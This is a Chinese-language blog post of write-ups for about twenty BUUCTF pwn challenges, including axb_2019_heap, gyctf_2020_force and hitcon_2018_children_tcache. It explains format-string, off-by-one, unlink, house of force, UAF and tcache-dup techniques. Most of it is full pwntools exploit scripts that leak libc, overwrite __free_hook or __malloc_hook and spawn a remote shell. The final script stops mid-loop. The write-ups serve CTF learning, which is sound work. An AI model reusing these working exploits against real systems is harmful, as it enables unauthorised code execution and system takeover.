首页 > 其他分享 > BUUCTF-PWN-第四页writep(32题)

BUUCTF-PWN-第四页writep(32题)

时间:2022-11-05 14:55:48浏览次数:87  
标签:p64 libc writep 第四页 free add libcbase sendlineafter PWN

重感冒持续发热五天,拖到现在终于发第四页的题解了

axb_2019_heap

保护全开的菜单堆题 0 但是存在格式化字符串漏洞 0 add 0 0 如果 key = 43,那么大小可以自定义,不然最小只能是 0x80 ,这里开启了 PIE ,没法通过格式化字符串先泄露地址再修改 free 0 edit 0 其中的 get_input 函数存放 off by one 0 按正常操作,要先泄露基址 gdb 调试步进到格式化字符漏洞这 0 可以看到 __libc_start_main+240 和 main <- push rbp ,我们可以根据这个泄露 libcbase 和 程序基址 它们分别是第 15 个和第 19 个参数,可以通过格式化字符串漏洞泄露 其中 mian 函数在 0x116a start,所以偏移为 0x116a 0 注意这里我们是直接读内存的值,不是把内存的值作为地址读,所以要用 %n$p
def leak():
global libcbase, probase, note, free_hook, system
p.sendlineafter(b'Enter your name: ', '%15$p.%19$p')
p.recvuntil(b'0x')
libcbase = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 240  
p.recvuntil(b'0x')
probase = int(p.recv(12), 16) - 0x116a
print('libcbase -> ', hex(libcbase))
print('probase -> ', hex(probase))
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
note = probase + 0x0202060
接下来利用 off by one 构造 fake chunk
add(0, 0x98, b'a')
add(1, 0x98, b'a')
add(2, 0x98, b'a')
payload = p64(0) + p64(0x90) + p64(note-0x18) + p64(note-0x10) + p64(0)*14 + p64(0x90) + p8(0xa0)
edit(0, payload)
free(1)
可以看到成功伪造 0 接下来 free(1) ,那么 chunk1 就会和 fake chunk 合并 0 然后通过 unlink 修改了 chunk 0 的指针 0 接下来修改 chunk 0 的指针为 free_hook,并修改为 system
# free_hook -> system
payload = p64(0)*3 + p64(free_hook) + p64(0x98)
edit(0, payload)
edit(0,p64(system))
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29374)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def add(index, size, content):
p.sendlineafter(b'>> ', '1')
p.sendlineafter(b'Enter the index you want to create (0-10):', str(index))
p.sendlineafter(b'Enter a size:\n', str(size))
p.sendlineafter(b'Enter the content: \n', content)
def free(index):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Enter an index:\n', str(index))
def edit(index, content):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'Enter an index:\n', str(index))
p.sendlineafter(b'Enter the content:', content)

def leak():
global libcbase, probase, note, free_hook, system
p.sendlineafter(b'Enter your name: ', '%15$p.%19$p')
p.recvuntil(b'0x')
libcbase = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 240  
p.recvuntil(b'0x')
probase = int(p.recv(12), 16) - 0x116a
print('libcbase -> ', hex(libcbase))
print('probase -> ', hex(probase))
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
note = probase + 0x0202060

leak()

add(0, 0x98, b'a')
add(1, 0x98, b'a')
add(2, 0x98, b'a')
add(3, 0x90, b'/bin/sh\x00')
# unlink
payload = p64(0) + p64(0x90) + p64(note-0x18) + p64(note-0x10) + p64(0)*14 + p64(0x90) + p8(0xa0)
edit(0, payload)
free(1)
print('note -> ', hex(note))

# free_hook -> system
edit(0, p64(0)*3 + p64(free_hook) + p64(0x98))
edit(0, p64(system))
#debug()

# pwn
free(3)
p.interactive()

oneshot_tjctf_2016

0 先泄露基址,再跳转到 one_gadget
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25566)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()

p.recv()
p.sendline(str(elf.got['puts']))
p.recvuntil(b'0x')
puts = int(p.recv(16), 16)
libcbase = puts - libc.sym['puts']
one_gadget = libcbase + 0x45216
p.recv()
p.sendline(str(one_gadget))
p.interactive()

护网杯_2018_gettingstart

0 栈溢出覆盖
#0x3FB999999999999A 0x7FFFFFFFFFFFFFFF
p.recv()
payload = b'a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()
十进制小数转十六进制的好工具:http://www.binaryconvert.com/convert_double.html

wustctf2020_number_game

0 nc ,然后输入 -999999999

zctf2016_note2

菜单堆题 0 应该要利用的地方,因为没开 PIE 0 add 堆块大小最大为 0x80 0 show 0 free 0 edit 给出了两个选项,是要 overwirite 还是 append 其中,用作读的函数存在堆溢出,由于 i 是无符号数,当 a2 = 0 时,0 - 1 = -1 = 0xffffffffffffffff ,就能造出堆溢出 所以我们申请大小为 0 的 chunk 就能利用堆溢出修改 利用 unlink 修改 ptr 的数据 由于 edit 的存放写入溢出的函数的 size 被限制了大小,所以我们只能通过 add 0 大小的堆块实现堆溢出 首先构造三个 chunk ,利用 chunk0 构造 fake chunk 的 size 和 fd 和 bk ,chunk1 free 后再申请时利用堆溢出构造 fake chunk 下一个 chunk 的 prve size 和 size ,再 free chunk2,unlink 攻击就完成了
# unlink
ptr = 0x602120
payload = p64(0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10)
add(0x80, payload) #index0
add(0, b'a') #index1
add(0x80, b'c') #index2
free(1)
add(0, p64(0)*2 + p64(0xa0) + p64(0x90)) #index3
free(2)
可以看到被成功改写 之后就是泄露 libcbase 了,这里选择 atoi
# leak 
edit(0, 1, b'a'*0x18 + p64(elf.got['atoi']))
print(' atoi@got -> ', hex(elf.got['atoi']))
show(0)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system = atoi - libc.sym['atoi'] + libc.sym['system']
然后就是 atoi -> system
# atoi -> system 
edit(0, 1, p64(system))
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27152)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def init(name, addr):
p.sendlineafter(b'Input your name:\n', name)
p.sendlineafter(b'Input your address:\n', addr)
def add(size, content):
p.sendlineafter(b'option--->>\n', '1')
p.sendlineafter(b'content:(less than 128)\n', str(size))
p.sendlineafter(b'Input the note content:\n', content)
def show(index):
p.sendlineafter(b'option--->>\n', '2')
p.sendlineafter(b'Input the id of the note:\n', str(index))
def edit(index, choice, content):
p.sendlineafter(b'option--->>\n', '3')
p.sendlineafter(b'Input the id of the note:\n', str(index))
p.sendlineafter(b'[1.overwrite/2.append]\n', str(choice))
p.sendlineafter(b'TheNewContents:', content)
def free(index):
p.sendlineafter(b'option--->>\n', '4')
p.sendlineafter(b'Input the id of the note:\n', str(index))
def getshell():
p.sendlineafter(b'option--->>\n', '/bin/sh\x00')
p.interactive()

init(b'1', b'2')

# unlink
ptr = 0x602120
payload = p64(0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10)
add(0x80, payload) #index0
add(0, b'a') #index1
add(0x80, b'c') #index2
free(1)
add(0, p64(0)*2 + p64(0xa0) + p64(0x90)) #index3
free(2)


# leak 
edit(0, 1, b'a'*0x18 + p64(elf.got['atoi']))
print(' atoi@got -> ', hex(elf.got['atoi']))
show(0)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system = atoi - libc.sym['atoi'] + libc.sym['system']

# atoi -> system
edit(0, 1, p64(system))

#pwn
getshell()

starctf_2019_babyshell

0 输入 shellcode 执行 但是对 shellcode 有检查 0 其中 unk_400978 是一段字符串,这个函数就是检测 shellcode 的字符是否都是 unk_400978 存在的 我们可以用 \x00 绕过,这里用到包含 \x00 的指令 00 5a 00 add BYTE PTR [rdx+0x0], bl exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25091)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

p.recv()
shellcode = b'\x00\x5a\x00' + asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
还有另外一种做法 https://www.cnblogs.com/Rookle/p/12895895.html

gyctf_2020_force

看到这题的名字就想到了 house of force 果然 0 add 0 show,应该是输出一段内存的内容 0 这里由于内容写最大可以写入 0x50 ,如果我们申请一个小点的 chunk ,就可以通过堆溢出 去修改 top chunk 的大小了 由于保护措施全开,先要想办法利用 unsorted bin attack 泄露基址 突然发现这里存在栈溢出漏洞 0 可以修改指向堆块的指针 0 但是没啥用,,emm 看 wp 这里学到到了一个新知识,当申请的 chunk 比 top chunk 还要大的时候,会再 mmap 一段内存,由于 add 会把 chunk 地址打印,所有我们可以据此泄露基址 0 可以看到偏移是 0x200ff0 0
# leak libcabse 
libcbase = add(0x200000, b'a') + 0x200ff0 
print(' libcbase -> ', hex(libcbase)) 
realloc = libcbase + libc.sym['realloc'] 
malloc_hook = libcbase + libc.sym['malloc_hook']
然后是泄露堆块地址
# leak top_chunk_addr and house of force
top_chunk_addr = add(0x10, p64(0)*3 + p64(0xffffffffffffffff)) + 0x10
print(' malloc_hook -> ', hex(malloc_hook))
offset = malloc_hook - top_chunk_addr - 0x30
add(offset, b'a')
onegadget = libcbase + 0x4526a
print(' onegadget -> ', hex(onegadget))
print(' realloc -> ', hex(realloc))
add(0x30, p64(0) + p64(onegadget) + p64(realloc + 0x10))
进行 house of force 将 top 移动到 malloc_hook 上方 0 可以看到成功修改 0 之后就是修改 realloc_hook 和 malloc_hook exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25091)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'2:puts\n', '1')
p.sendlineafter(b'size\n', str(size))
p.recvuntil('addr ')
addr = int(p.recv(14), 16)
print(' addr -> ', hex(addr))
p.sendafter(b'content\n',  content)
return addr
def put():
p.sendlineafter(b'2:puts\n', '2')

# leak libcabse 
libcbase = add(0x200000, b'a') + 0x200ff0
print(' libcbase -> ', hex(libcbase))
realloc = libcbase + libc.sym['realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']


# leak top_chunk_addr and house of force
top_chunk_addr = add(0x10, p64(0)*3 + p64(0xffffffffffffffff)) + 0x10
print(' malloc_hook -> ', hex(malloc_hook))
offset = malloc_hook - top_chunk_addr - 0x30
add(offset, b'a')
onegadget = libcbase + 0x4526a
print(' onegadget -> ', hex(onegadget))
print(' realloc -> ', hex(realloc))
add(0x30, p64(0) + p64(onegadget) + p64(realloc + 0x10))

# pwn
p.sendlineafter(b'2:puts\n', '1')
p.sendlineafter(b'size\n', str(0x10))
p.interactive()

wustctf2020_name_your_dog

0 和第三页一道题类似,不过是在 bss 段上写而不是栈上,并且也存在后门函数 先想到的就是把 printf -> system pinrt@got -> Dogs 的偏移是 -84 ,__isoc99_scanf@got -> Dogs 的偏移是 -56 ,所有劫持 __isoc99_scanf
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28502)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

p.recv()
p.sendline(b'-7')
p.recv()
p.sendline(p32(elf.sym['shell']))
p.interactive()

actf_2019_babyheap

比较简单的一道堆题,UAF
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25463)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice: ', '1')
p.sendlineafter(b'Please input size: \n', str(size))
p.sendafter(b'Please input content: \n', content)
def free(index):
p.sendlineafter(b'Your choice: ', '2')
p.sendlineafter(b'Please input list index: \n', str(index))
def show(index):
p.sendlineafter(b'Your choice: ', '3')
p.sendlineafter(b'Please input list index: \n', str(index))

add(0x20, b'a') # index 0
add(0x20, b'a') # index 1
free(0)
free(1)
add(0x10, p64(0x602010) + p64(elf.sym['system'])) # index 2
show(0)

p.interactive()

ciscn_2019_final_2

一道堆题 0 add 可以选择两种 chunk ,并且读入数据和复制数据,最长读 0x10 0 free 也是,粗略看应该存在 UAF 0 show 0 以及,程序开始的时候会读入 flag,并且把文件操作符 666 也指向 flag 0 并且是一道沙盒逃逸题目 可以看到并不是 orw 题目,但是好像也没什么能用的 这里在退出前会读入一段字符串然后输出,scanf 用的是 stdin = 1,如果我们将其改为 666 ,那么就能将 flag 的内容输出 由于保护全开,第一步肯定是通过 unsorted bin attack 泄露基址,由于存在 tcache bin ,所有我们要先利用 dup 填满 tcache bin 先利用 dup 泄露第一个申请的堆块的后四位
# leak heap_low4
add(1, 1)
free(1)
add(2, 2)
add(2, 2)
add(2, 2)
add(2, 2)
free(2)
add(1, 1)
free(2)
show(2)
p.recvuntil(b'your short type inode number :')
heap_low4 = int(p.recvuntil(b'\n')[:-1], 10) - 0xa0
if heap_low4 < 0:
heap_low4 += 0x10000
print(' heap_low4 -> ', hex(heap_low4))
然后同样利用 dup,覆盖第一个申请的堆块,这样我们就能利用复制数据的特性去修改 size 了
# dup -> change size 
add(2, heap_low4) 
add(2, 0) 
add(2, 0x90)
可以看到成功修改 接下来利用 dup 把 tcache bin 填满,好 free 到 unsorted bin 注意 shor_int 的 chunk 头是 第一个申请堆块的 chunk 头 上面 0x10 处,所以不能 free(2) ,要 free(1) 可以看到已经放入 unsorted bin 了 再用 show 泄露后 fd 的后八位 不知道为什么,如果第八次还是先 fee(1) 后再 add(2,2) ,这时候 fd 的泄露数据会出错,难道是 add(2,2) 的空间来自 unsotred bin ?的确是来自,但是 fd 又不会改变,为什么泄露的数据会有问题?
# dup -> leak libcbase
for i in range(7):
free(1)
add(2, 2)
free(1)
show(1)
p.recvuntil(b'your int type inode number :')
fd_low8 = int(p.recvuntil(b'\n')[:-1], 10)
if fd_low8 < 0:
fd_low8 += 0x100000000
main_arena_low8 = fd_low8 - 96
print(' main_arena_low8 -> ', hex(main_arena_low8))
libcbase_low8 = main_arena_low8 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase_low8 -> ', hex(libcbase_low8))
stdin_filno_low8 = libcbase_low8 + libc.sym['_IO_2_1_stdin_'] + 0x70
print(' stdin_filno_low8 -> ', hex(stdin_filno_low8))
然后,如果我们继续申请 0x20 大小的 chunk,就会从 unsorted bin 切割,并且由于 unsorted bin 下面的空间都被占了,所以会占用 unsorted bin 上面的空间,并且其含有 fd 等数据(不知道为什么会有这种情况) 还存放在 tcache bin 中 所以我们修改其后四位,使其指向 stdin
add(2, stdin_filno_low8 & 0xFFFF)
add(1, 0)
add(1, 666)
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28611)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(choice, content):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>', str(choice))
p.sendlineafter(b'your inode number:', str(content))
def free(choice):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'>', str(choice))
def show(choice):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'>', str(choice))
def get_flag():
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'what do you want to say at last? \n', b'a')
print(p.recv())

# leak heap_low4
add(1, 1)
free(1)
add(2, 2)
add(2, 2)
add(2, 2)
add(2, 2)
free(2)
add(1, 1)
free(2)
show(2)
p.recvuntil(b'your short type inode number :')
heap_low4 = int(p.recvuntil(b'\n')[:-1], 10) - 0xa0
if heap_low4 < 0:
heap_low4 += 0x10000
print(' heap_low4 -> ', hex(heap_low4))

# dup -> change size
add(2, heap_low4)
add(2, 0)
free(1)
add(2, 0x91)

# dup -> leak libcbase
for i in range(7):
free(1)
add(2, 2)
free(1)
show(1)
p.recvuntil(b'your int type inode number :')
fd_low8 = int(p.recvuntil(b'\n')[:-1], 10)
if fd_low8 < 0:
fd_low8 += 0x100000000
main_arena_low8 = fd_low8 - 96
print(' main_arena_low8 -> ', hex(main_arena_low8))
libcbase_low8 = main_arena_low8 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase_low8 -> ', hex(libcbase_low8))
stdin_filno_low8 = libcbase_low8 + libc.sym['_IO_2_1_stdin_'] + 0x70
print(' stdin_filno_low8 -> ', hex(stdin_filno_low8))

# stdin 1 -> 666
add(2, stdin_filno_low8 & 0xFFFF)
add(1, 0)
add(1, 666)

# get_flag
get_flag()
超出我的水平了,没有完全弄懂,过几天在做一遍

judgement_mna_2016

0 读字符串去匹配 flag ,存在格式化字符串漏洞,值得注意的是 v3 是申请的栈空间 还要一个 load_flag 函数 0 不知道为啥,明明程序流程没看到一开始会加载 flag,但是程序一运行却自动调用了 load_flag 不管了,由于没开 PIE ,发现该地址上存放加载的 flag 0 无语,偏移我一个一个试到了 20+ ,结果 gdb 调试一看是 43 0 0 结果 0 payload = b'aaa%45$s' + p32(0x804A0A0) p.recv() p.sendline(payload) p.recv() 后来发现 flag 在 第 28 个偏移的位置 0 于是 0

ciscn_2019_en_3

菜单堆题 0 add 一个数组存放大小,一个数组存放指针 0 edit 和 show 都不能用 0 存在 UAF 漏洞 ubuntu 18 环境下的题,存在 tcache ,并且保护措施全开 首先是要先泄露基址 0 看到这个,只能读八个字节,但是通过puts可以泄露出一些东西,调试发现 0 这里是 setbuffer + 231 的地方,那么,libcbase 就能拿到了
# leak libcbase
p.sendlineafter(b'What\'s your name?', 'w1nd')
p.sendlineafter(b'Please input your ID.\n', 'aaaastop')
p.recvuntil(b'stop')
setbuffer_231 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = setbuffer_231 - 231 - libc.sym['setbuffer']
print(' libcbase -> ', hex(libcbase))
然后利用 dup 伪造 fake chunk ,劫持 free hook ,修改为 system
# dup -> free_hook => onegadget
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
add(0x60, b'a') # index0
add(0x60, b'/bin/sh\x00') # index1
free(0)
free(0)
fake_chunk = free_hook
add(0x60, p64(fake_chunk))
add(0x60, p64(fake_chunk))
add(0x60, p64(system))
print(hex(free_hook), hex(system))
没想到,tcache 可以不需要考虑 chunk 头的 size,也就是不需要找 0x000000000000007f 这种去作 fake chunk 的地址,并且因为 tcache struct 的链表执行的是 chunk 的 user data ,无需偏移直接写就行 exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25178)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Input your choice:', '1')
p.sendlineafter(b'Please input the size of story: \n', str(size))
p.sendafter(b'please inpute the story: \n', content)
def free(index):
p.sendlineafter(b'Input your choice:', '4')
p.sendlineafter(b'Please input the index:\n', str(index))

# leak libcbase
p.sendlineafter(b'What\'s your name?', 'w1nd')
p.sendlineafter(b'Please input your ID.\n', 'aaaastop')
p.recvuntil(b'stop')
setbuffer_231 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = setbuffer_231 - 231 - libc.sym['setbuffer']
print(' libcbase -> ', hex(libcbase))

# dup -> free_hook => onegadget
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
add(0x60, b'a') # index0
add(0x60, b'/bin/sh\x00') # index1
free(0)
free(0)
fake_chunk = free_hook
add(0x60, p64(fake_chunk))
add(0x60, p64(fake_chunk))
add(0x60, p64(system))
print(hex(free_hook), hex(system))

# pwn
free(1)
p.interactive()

picoctf_2018_are you root

一道挺有意思的题,需要提权执行 get-flag 指令 0 show 指令展示登录名和权限等级 0 login指令,先申请一个 0x10 大小的 chunk ,之后的 strdup 也会根据字符串的大小申请 chunk 0 set-auth 指令,可以设置权限 0 get-flag 指令会输出 flag 0 reset 指令会 free strdup 申请的 chunk,而开始的 0x10 的 chunk 并没有 free
p.sendlineafter(b'> ', b'login aaaaaaaa'); 
p.sendlineafter(b'> ', b'set-auth 4');
可以看到 0x10 大小的 chunk 中,一个存放执行登录名的 chunk 的指针,一个存放账号权限等级 0 并且存放登录名的那个 chunk 被释放后会被作为 0x10 大小的 chunk 重新申请,而我们又可以控制 user data,可以提前伪造好账号权限 如图所示 0 exp
p.sendlineafter(b'> ', b'login aaaaaaaa' + p64(0x5)); 
p.sendlineafter(b'> ', b'reset'); 
p.sendlineafter(b'> ', b'login bbbb');
p.sendlineafter(b'> ', b'get-flag'); 
p.recv()

xman_2019_format

格式化字符串漏洞,不过这次是把字符串写在堆块里 0 然后切割字符串输出 0 由于存储在堆块中,并且存在一个后门函数,所以我们要控制 eip 指向后门函数 0 我们可以通过 ebp 那里去写 0xffffd088 地址处的值,将其修改为 0xffffd06c,接下来再去写 0xffffd088 的地址的值,修改的就是 0xfffd06c 地址的值,我们将其修改为后门函数的地址,这样就间接实现了 eip 的控制 修改 0xffffd088 处的值为 0xffffd06c 的 payload 应该是 %108%10$hhn 修改 0xffffd06c 处的值为 0x80485ab(后门函数地址) 的 payload 应该是 %34219c%18$hn 由于可以利用 | 分隔输出,所以完整 payload 应该是
%108%10$hhn%34219c%18$hn
不过由于我们不知道具体的地址,所以第一个 payload 是需要爆破一个字节的,当然我这里选择多用上面这个完整 payload 多打几次 exp
p.recv()
p.sendline(b'%108c%10$hhn|%34219c%18$hn')
p.recv()
p.interactive()

picoctf_2018_buffer overflow 0

题目一开始让我 shh 登录 0 这是开始内核题了吗 原来不是,看了wp发现这道题是可以 ./vuln xxxx 来读字符串的 0 其中 argv 便是用来存储参数的 这里会把读入的 flag 存放 flag 变量中 11 是 无效内存访问信号,这表示,当发生无效内容访问时,会将 flag 写入 stderr ,然后 fflush 刷新缓冲区输出 flag 0 0 其中 vuln 函数有栈溢出 0 所以可以通过栈溢出来输出 flag 0 可以通过栈溢出利用 puts 函数直接输出 flag payload = b'./vuln ' + b'a'*0x1c + p32(elf.sym['puts']) + b'a'*4 + p32(0x804A080) print(payload) 0

gyctf_2020_signin

菜单堆题 add 一个数组存放 0x70 大小的 chunk 的指针,一个数组存放该 chunk 的状态 0 edit 可以修改 0x50 大小的数据 0 free 中 存放指针的数组并没有清空,存在 UAF 0 backdoor 可以清空并申请一个 chunk ,如果 ptr 不为 0 ,则 getshell 0 明显要伪造 fake chunk 修改 ptr 的值 但是 edit 只能修改一次,如果能修改两次的话,那么就可以修改 free 堆块的 fd ,使其指向 ptr 了,再修改 ptr 的值 但是只能修改一次,所以需要用到 calloc 的特性 - > 不会分配 tcache chunk 中的 chunk , 还有 tcache bin 的特性 -> 在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。 所以我们可以将 tcache bin 先填满,然后再额外申请释放一个同等大小的 chunk 到 fast bin,利用 UAF 修改 fd,之后再用 calloc 申请一个 chunk ,这时候我们伪造的 fd -> ptr 就进行了 tcache bin ,这个时候由于是头插法,所以 ptr 就被写入了 fd ,也就是存在值了,这时候就能 getshell 了
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26383)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(index):
p.sendlineafter(b'your choice?', '1')
p.sendlineafter(b'idx?\n', str(index))
def edit(index, content):
p.sendlineafter(b'your choice?', '2')
p.sendlineafter(b'idx?\n', str(index))
p.send(content)
def free(index):
p.sendlineafter(b'your choice?', '3')
p.sendlineafter(b'idx?\n', str(index))
def shell():
p.sendlineafter(b'your choice?', '6')
p.interactive()

for i in range(8):
add(i)
for i in range(8):
free(i)
add(8)
edit(7, p64(0x4040C0 - 0x10))
shell()
注意要先申请一个 chunk ,好让 fake chunk 进入 tcache bin ,fake chunk 是 ptr - 0x10 是因为要把 ptr 作为 user data 的开头用,来存放 fd

bjdctf_2020_YDSneedGrirlfriend

菜单堆题 0 add 先申请一个 0x10 大小的 chunk ,前八个字节存放一个函数,后八个字节存放自定义大小 chunk 的指针 0 show 很正常 0 free 经典 UAF 0 ubuntu 16 的题,还有一个后门函数存在 记得已经做过两道类似的题了,就直接丢 exp 了
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29225)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice :', '1')
p.sendlineafter(b'Her name size is :', str(size))
p.sendafter(b'Her name is :', content)
def free(index):
p.sendlineafter(b'Your choice :', '2')
p.sendlineafter(b'Index :', str(index))
def show(index):
p.sendlineafter(b'Your choice :', '3')
p.sendlineafter(b'Index :', str(index))

add(0x20, b'123') #index0
add(0x20, b'123') #index1
free(0)
free(1)
add(0x10, p64(elf.sym['backdoor'])) #index2
show(0)
p.interactive()

wdb_2018_3rd_soEasy

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29512)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()

p.recvuntil(b'gift->')
buf = int(p.recv(10), 16)
print(' buf -> ', hex(buf))
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x4c, b'\x00') + p32(buf)
p.send(payload)
p.interactive()

ciscn_2019_sw_1

0 格式化字符串,但是触发漏洞就没了 根据函数正常的执行流,函数执行前会调用init类初始化函数,执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数,那么可以再次输入参数“/bin/sh\x00”拿到shell 0 这里手写 payload 还是要有技巧的,由于要拼凑出输出字符从少到多的 payload,所以修改的值较大的地址可以往后排,并且为了顺利修改,也可以只修改后两个字节
main = 0x8048534
fini_array = 0x804979C
system = 0x80483d0
printf_got = 0x804989c

payload = b'%2052c%13$hn%31692c%14$hn%356c%15$hn' + p32(printf_got + 2) + p32(printf_got) + p32(fini_array)
p.recv()
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()

suctf_2018_stack

ret2text 带 后门函数 0 但是环境是 ubuntu18 ,也恰好读不下 ret 指令 这样要通过偏移 后门函数的地址去对齐 0 只要跳过的指令不要影响 system('/bin/sh') 的执行就行
payload = b'a'*0x28 + p64(0x400677)
p.recv()
p.sendline(payload)
p.interactive()

hitcon_2018_children_tcache

ubuntu 18 的菜单堆题 0 add 0 show 0 free 会用 0xda 填充 chunk 0 其中,这里的 strcpy 会在字符串末尾添加 \x00 ,导致 off by null 0 由于保护措施全开,所以肯定先要泄露基址了 先通过 chunk1 利用 off by null 置 chunk 2 的 size 的最后一字节为零,在利用 chunk1 伪造好 chunk2 的 prev size,然后 free chunk2 ,使其向前合并,造成堆块重叠,这时候再申请 0x410 的 chunk,那么这时候的 unsorted bin 的 头部就会和 原 chunk1 的头部重合,再show,就能泄露 fd 了。同样的,因为 index 同样指向同一个 chunk ,所以可以利用 dup 写 malloc_hook 为 one_gadget
add(0x410, b'a') #index0
add(0x68, b'b') #index1
add(0x4f0, b'c') #index2
add(0x10, b'd') #index3
free(0) 
free(1)
这时候我们要接着伪造 chunk2 的 size 和 prev size 但是由于 chunk1 被 free 时会被 0xda 填充,所以不好控制 prev size 这里有个巧妙的方法,我们可以重复申请释放chunk,每次申请和写的大小从 0x68 递减到 0x60,那么就能达到置 size 最后一字节为零 和 清空 prev size 的目的
for i in range(9):
add(0x68 - i, b'a'*(0x68 - i)) #index 0
free(0)
然后是修改 prev size 为 0x490 ( 0x490 = 0x420 + 0x70 ) 再将 chunk2 free ,就能向前合并造成堆块重叠了
add(0x68, b'a'*0x60 + p64(0x490)) #index 0
free(2)
然后是申请 0x410 大小的 chunk,将 unsorted bin 的 头部与原 chunk1 的头部重合,泄露基址
add(0x410, b'a') #index 1
show(0)
main_arena_96 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_96 - 96 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
malloc_hook = libcbase + libc.sym['__malloc_hook']
one_gadget = libcbase + 0x4f322
这个时候我们再申请一个 0x68 的 chunk,那么 index 0 和 index2 都会指向原本的 chunk1 ,就能 dup 任意地址写了
# malloc_hook -> one_gadget
add(0x68, b'a') #index 2
free(0)
free(2)
add(0x68, p64(malloc_hook))
add(0x68, b'a')
add(0x68, p64(one_gadget))
完整exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25300)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice: ', b'1')
p.sendlineafter(b'Size:', str(size))
p.sendafter(b'Data:', content)
def show(index):
p.sendlineafter(b'Your choice: ', b'2')
p.sendlineafter(b'Index:', str(index))
def free(index):
p.sendlineafter(b'Your choice: ', b'3')
p.sendlineafter(b'Index:', str(index))

# leak libcbase
add(0x410, b'a') #index0
add(0x68, b'b') #index1
add(0x4f0, b'c') #index2
add(0x10, b'd') #index3
free(0) 
free(1)
for i in range(9):
